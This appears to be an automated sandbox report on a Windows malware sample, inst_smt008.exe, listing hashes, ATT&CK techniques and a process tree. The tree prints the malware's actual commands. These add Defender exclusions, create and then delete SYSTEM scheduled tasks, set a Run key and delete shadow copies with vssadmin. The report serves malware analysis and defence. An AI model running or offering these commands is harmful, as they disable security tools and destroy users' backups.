ffe6690e740b95d0239425982dc0236329e0d84123586bfc6fa62decbba69a51

Analysis

max time kernel
141s
max time network
157s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 00:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
inst_smt008.exe
Size 55.2MB
Sample260805-a73cbsvcrc
SHA256 ffe6690e740b95d0239425982dc0236329e0d84123586bfc6fa62decbba69a51
MD5 691fe18945d5cd15774e3c88d312f575
SHA1 edc61855794ad547753cc5e1082a74faf62e9d2e
SHA512 4db1f14fb8f396336f2d328626b50aa0d2c241a62c322e1b177b40cedb9d43ed1cd78db9ba6e0459ee1be599fb808882ac51dc7346d0989efb022d054a079801
SSDEEP 196608:InnmbV2qWwRNTc+u1aZfO8pP+QDhb6Z/LzEnSQ5Ps6z:iSRe9QDT
TLSH
T1A1C78406F702899AD4799338488B4F91B372ECF14AB6972323B8733D2EFA35C5E91545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\NLzPPw = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4436	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2676	4NdQi1.exe
5788	4NdQi1.exe

Loads dropped DLL 2 IoCs

pid	Process
2676	4NdQi1.exe
5788	4NdQi1.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3816	icacls.exe
2080	icacls.exe
2976	icacls.exe
1636	icacls.exe
5612	icacls.exe
5764	icacls.exe
4704	icacls.exe
6096	icacls.exe
3500	icacls.exe
2632	icacls.exe
2604	icacls.exe
5380	icacls.exe
2472	icacls.exe
2940	icacls.exe
5748	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\NLzPPw\\4NdQi1.exe\""	4NdQi1.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1428	cmd.exe
1792	cmd.exe
4496	cmd.exe
1184	cmd.exe
3764	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	4NdQi1.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\q15NCl\image.png	4NdQi1.exe
File opened for modification	C:\Program Files (x86)\q15NCl\Mp8M2i.exe	4NdQi1.exe
File opened for modification	C:\Program Files (x86)\q15NCl\image.png	4NdQi1.exe
File opened for modification	C:\Program Files (x86)\q15NCl	4NdQi1.exe
File created	C:\Program Files (x86)\q15NCl\Mp8M2i.exe	4NdQi1.exe
File created	C:\Program Files (x86)\q15NCl\XPSPLOG.dll	4NdQi1.exe
File created	C:\Program Files (x86)\q15NCl\thumbs.db	4NdQi1.exe
File opened for modification	C:\Program Files (x86)\q15NCl\XPSPLOG.dll	4NdQi1.exe
File opened for modification	C:\Program Files (x86)\q15NCl\thumbs.db	4NdQi1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5588	cmd.exe
4628	cmd.exe
1424	cmd.exe
2508	cmd.exe
2700	cmd.exe
3868	cmd.exe
2588	cmd.exe
4716	cmd.exe
3116	cmd.exe
1416	cmd.exe
5256	cmd.exe
2368	cmd.exe
1704	cmd.exe
5584	cmd.exe
2736	cmd.exe
5364	cmd.exe
5128	cmd.exe
5684	cmd.exe
1796	cmd.exe
3132	cmd.exe
5620	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3464	schtasks.exe
4252	schtasks.exe
3848	schtasks.exe
1424	schtasks.exe
2908	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2028	inst_smt008.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe
2676	4NdQi1.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeIncreaseQuotaPrivilege	4436	powershell.exe
Token: SeSecurityPrivilege	4436	powershell.exe
Token: SeTakeOwnershipPrivilege	4436	powershell.exe
Token: SeLoadDriverPrivilege	4436	powershell.exe
Token: SeSystemProfilePrivilege	4436	powershell.exe
Token: SeSystemtimePrivilege	4436	powershell.exe
Token: SeProfSingleProcessPrivilege	4436	powershell.exe
Token: SeIncBasePriorityPrivilege	4436	powershell.exe
Token: SeCreatePagefilePrivilege	4436	powershell.exe
Token: SeBackupPrivilege	4436	powershell.exe
Token: SeRestorePrivilege	4436	powershell.exe
Token: SeShutdownPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeSystemEnvironmentPrivilege	4436	powershell.exe
Token: SeRemoteShutdownPrivilege	4436	powershell.exe
Token: SeUndockPrivilege	4436	powershell.exe
Token: SeManageVolumePrivilege	4436	powershell.exe
Token: 33	4436	powershell.exe
Token: 34	4436	powershell.exe
Token: 35	4436	powershell.exe
Token: 36	4436	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 4436	2676	4NdQi1.exe	92
PID 2676 wrote to memory of 1792	2676	4NdQi1.exe	93
PID 1792 wrote to memory of 3464	1792	cmd.exe	96
PID 1792 wrote to memory of 4832	1792	cmd.exe	98
PID 2676 wrote to memory of 4496	2676	4NdQi1.exe	101
PID 1792 wrote to memory of 1148	1792	cmd.exe	104
PID 4496 wrote to memory of 4252	4496	cmd.exe	106
PID 2676 wrote to memory of 1184	2676	4NdQi1.exe	107
PID 1184 wrote to memory of 3848	1184	cmd.exe	109
PID 2676 wrote to memory of 3764	2676	4NdQi1.exe	110
PID 4496 wrote to memory of 3704	4496	cmd.exe	112
PID 1184 wrote to memory of 3044	1184	cmd.exe	114
PID 3764 wrote to memory of 1424	3764	cmd.exe	115
PID 1184 wrote to memory of 5912	1184	cmd.exe	116
PID 4496 wrote to memory of 2288	4496	cmd.exe	117
PID 3764 wrote to memory of 4572	3764	cmd.exe	118
PID 2676 wrote to memory of 1428	2676	4NdQi1.exe	119
PID 3764 wrote to memory of 6056	3764	cmd.exe	121
PID 1428 wrote to memory of 2908	1428	cmd.exe	122
PID 5588 wrote to memory of 1484	5588	cmd.exe	125
PID 3868 wrote to memory of 5684	3868	cmd.exe	126
PID 1428 wrote to memory of 3640	1428	cmd.exe	127
PID 1428 wrote to memory of 6000	1428	cmd.exe	129
PID 2588 wrote to memory of 4528	2588	cmd.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe
"C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4084

C:\Users\Public\NLzPPw\4NdQi1.exe
"C:\Users\Public\NLzPPw\4NdQi1.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NLzPPw\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NLzPPw\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4832
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4252
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3704
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3044
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1424
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4572
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2908
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6000
- C:\Program Files (x86)\q15NCl\Mp8M2i.exe
  "C:\Program Files (x86)\q15NCl\Mp8M2i.exe"
  2⤵
  PID:1608
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:4716
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1796
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3132
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3116
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1704
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2080
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:1416
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:6096
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\Mp8M2i.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4628
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\Mp8M2i.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\Mp8M2i.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5620
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\Mp8M2i.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2472
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\Mp8M2i.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5584
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\Mp8M2i.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:2632
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2508
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5748
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1424
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2940
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5256
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:2604
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2700
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1636
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2736
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5612
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:5380
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5128
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5764
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2976
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\q15NCl\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5684
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\q15NCl\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4704

C:\Users\Public\NLzPPw\4NdQi1.exe
"C:\Users\Public\NLzPPw\4NdQi1.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5788

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NLzPPw" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3868
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NLzPPw" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5684

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1648

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5588
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1484

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4528

C:\Program Files (x86)\q15NCl\Mp8M2i.exe
"C:\Program Files (x86)\q15NCl\Mp8M2i.exe"
1⤵
PID:4568

C:\Program Files (x86)\Uxhju69g\U0CzZA.exe
"C:\Program Files (x86)\Uxhju69g\U0CzZA.exe"
1⤵
PID:760

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\Uxhju69g\XPSPLOG.dll
Size 4.6MB
SHA256 c0ecfebe1883ba6252b932434425aa75067b0a3ae7e160ef6ad2b28c8f789afa
MD5 2dc31638f2e2dc9f66eb622d84fa5a64
SHA1 6de4160f70307490d855003e09d737326bb5e5f8
SHA512 29cd5e78427d87aac4f4a5b9096e5b8a4c2a85ef58c6e23cbc4bcc3575372cbc032dbb3e106e827b315893fe6b91477bb6a01a261a530cb0200c2ef64901d5b2
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyW:BMWKfU+BcUTHCCCfqCiUffnW
TLSH
T14A263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\Uxhju69g\image.png
Size 4.0MB
SHA256 709bfbee14b3fd685333ec6afe852a30188c0fcce9283d790bbf8000f466710e
MD5 ae4753e1b54d732fcf2c76ca48c5f4b0
SHA1 21b7db53a63482cfbfd991a0a2c8f3614ea1de73
SHA512 b197fcca41f1ec9a55b0daf22cfa5ce5392a94f2be6e1137b49c235c1b3cfb6e362805ed135a2ca880df5c1b98c2e4acbfa58b0e9531d0c89a32000b7813ff62
SSDEEP 98304:jqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpm:b/u21dGs2rOal3UpkiMTc
TLSH
T19E163319522C2187BAF7C6D4EB5062BBE5824BE0D8C0C8E43FD92BF3567CE7A3559184
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Mp8M2i.exe

Path C:\Program Files (x86)\q15NCl\Mp8M2i.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\q15NCl\XPSPLOG.dll
Size 4.6MB
SHA256 3217a47f60e2052628e157d06e8e1e649897deef841c5f631c1a57d6a542f820
MD5 625bd74c69ac4831ee2e9c09df266b87
SHA1 ee201426de1c5e097b2c60a5f640113594526102
SHA512 ce036432a63b51331e3c96e5b18f7d704557f9b70b8deb35f56891a24f32ec5d2752e7e3d877db13d5496bbd1175edffdc3f9dc4e6cdc4b9ca5bbc0244f1f328
